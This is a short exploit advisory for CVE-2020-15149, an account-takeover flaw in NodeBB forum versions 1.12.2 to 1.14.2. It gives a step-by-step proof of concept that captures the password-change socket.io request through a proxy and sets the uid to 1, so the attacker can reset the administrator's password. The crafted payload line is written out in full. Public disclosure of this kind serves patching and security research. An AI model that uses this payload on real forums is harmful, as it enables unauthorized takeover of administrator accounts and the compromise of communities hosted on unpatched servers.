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NodeBB Forum 1.14.2 Account Takeover

NodeBB Forum 1.14.2 Account Takeover
Posted Oct 14, 2020
Authored by Muhammed Eren Uygun

NodeBB Forum versions 1.12.2 through 1.14.2 suffer from an account takeover vulnerability.

tags | exploit
advisories | CVE-2020-15149
MD5 | 560b2df1f994e52769ed6b202cf888c7

NodeBB Forum 1.14.2 Account Takeover

Change Mirror Download
# Exploit Title:  NodeBB Forum 1.12.2-1.14.2 - Account Takeover
# Date: 2020-08-18
# Exploit Author: Muhammed Eren Uygun
# Vendor Homepage: https://nodebb.org/
# Software Link: https://github.com/NodeBB/NodeBB
# Version: 1.12.2-1.14.2
# Tested on: Linux
# CVE : CVE-2020-15149 - https://github.com/NodeBB/NodeBB/security/advisories/GHSA-hr66-c8pg-5mg7
Impact:
----------------------
A bug in this validation logic made it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover.

Bug PoC:
----------------------
Blog: https://medium.com/bugbountywriteup/privilege-escalation-via-account-takeover-on-nodebb-forum-software-512-a593a7b1b4a4
1- Create a user
2- Go to password change page
3- Change password with proxy
427["user.changePassword",("currentPassword":"Test.12345!","newPassword":"Admin123!","uid":5)])
4- Replace the uid on the request with 1, which is the uid value of the admin user, and send the request.
5- So you can login with this password to admin user.
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